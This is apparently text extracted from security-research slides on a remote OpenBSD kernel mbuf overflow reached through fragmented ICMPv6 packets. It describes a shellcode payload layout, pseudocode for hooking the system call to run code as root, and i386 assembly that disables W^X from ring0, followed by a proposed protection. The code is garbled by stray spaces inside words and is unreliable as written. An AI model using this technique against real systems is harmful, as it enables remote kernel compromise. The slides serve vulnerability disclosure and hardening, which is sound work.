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Mbuf buffer overflow

Buffer overflow
Researching the “OpenBSD 008: RELIABILITY FIX” a new vulnerability was found: The m dup1() function causes
an overflow on the mbuf structure, used by the kernel to store network packets.
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Figure: mbuf chain overflow direction

The function m freem() crashed...



Searching for a way to gain code execution
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C code equivalent

/ s y s /mbuf . h

#de f i n e MEXTREMOVE(m) do { \
i f (MCLISREFERENCED(m) ) { \

MCLDEREFERENCE(m) ; \
} e l s e i f ( (m)−>m f l a g s & M CLUSTER) { \

poo l pu t (&mclpool , (m)−>m ext . e x t b u f ) ; \
} e l s e i f ( (m)−>m ext . e x t f r e e ) { \

(∗ ( (m)−>m ext . e x t f r e e ) ) ( (m)−>m ext . e x t bu f , \
(m)−>m ext . e x t s i z e , (m)−>m ext . e x t a r g ) ; \

} e l s e { \
f r e e ( (m)−>m ext . e x t bu f , (m)−>m ext . e x t t y p e ) ; \

} \
(m)−>m f l a g s &= ˜(M CLUSTER|M EXT) ; \
(m)−>m ext . e x t s i z e = 0 ; /∗ why ??? ∗/ \

} wh i l e ( /∗ CONSTCOND ∗/ 0)



IcmpV6 packets

Attack vector
We use two IcmpV6 packets as the attack vector

Header

Fragmentation Header

IPv6 Header

Mbuf chain

Fragment 2

Icmpv6

Icmpv6 Header

Trampoline

ShellCode 

SyscallHook

Payload

Header

mbuf 2

mbuf 1

Header

mbuf 3

Hop−by−Hop Header

Fragmentation Header

IPv6 Header

Fragment 1

Figure: Detail of IcmpV6 fragments



Where are we?

Code execution
We really don’t know where in kernel-land we are. But ESI is pointing to our code.
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Now what?

Hook (remember DOS TSRs?)
We hook the system call (Int 0x80)
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Figure: System call hook

Note: If the OS uses SYSENTER for system calls, the operation is slightly different.



New syscall pseudo-code

1. Adjust segment selectors DS and ES (to use movsd
instructions)

2. Get curproc variable (current process)

3. Get user Id (curproc− >userID)

4. If userID == 0 :

4.1 Get LDT position
4.2 Extend DS and CS on the LDT (This disables WˆX!)
4.3 Copy the user-mode code to the the stack of the process
4.4 Modify return address for the syscall to point to our code

5. Restore the original Int 0x80 vector (remove the hook)

6. Continue with the original syscall
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OpenBSD WˆX internals

WˆX: Writable memory is never executable
i386: uses CS selector to limit the execution. To disable WˆX, we extend CS from ring0.
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Figure: OpenBSD selector scheme and extension



Defeating WˆX from ring0

Our algorithm, independent of the Kernel:

s l d t ax ; S to r e LDT index on EAX
sub esp , byte 0 x7 f
sgdt [ esp+4] ; S to r e g l o b a l d e s c r i p t o r t a b l e
mov ebx , [ esp+6]
add esp , byte 0 x7 f
push eax ; Save l o c a l d e s c r i p t o r t a b l e i ndex
mov edx , [ ebx+eax ]
mov ecx , [ ebx+eax+0x4 ]
sh r edx , 16 ; base low−−>edx
mov eax , ecx
s h l eax , 24 ; b a s e m idd l e −−> edx
sh r eax , 8
or edx , eax
mov eax , ecx ; b a s e h i g h −−> edx
and eax , 0 x f f 000000
or edx , eax
mov ebx , edx ; l d t−−> ebx

; Extend CS s e l e c t o r
or dword [ ebx+0x1c ] , 0 x000f0000

; Extend DS s e l e c t o r
or dword [ ebx+0x24 ] , 0 x000f0000



Injected code

WˆX will be restored on the next context switch, so we have two
choices to do safe execution from user-mode:
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Figure: Payload injection options



Questions before going on?

Now we are executing standard user-mode code, and the system
has been compromised.



Proposed protection

Limit the Kernel CS selector
The same strategy than on user-space. Used on PaX (http://pax.grsecurity.net) for Linux.
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Figure: OpenBSD Kernel CS selector shrink



A third remote vulnerability?

IPv6 Routing Headers

Uninitialized variable on the processing of IPv6 headers.

1. DoS or Code Execution (depending who you ask!)

2. Present on CVS from January to March of 2007 (very few
systems affected)



Conclusions

In this article we presented:

1. Generic kernel execution code and strategy

2. Possible security improvement of the kernel

3. A third bug - No software is perfect
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Final Questions?

Thanks to:
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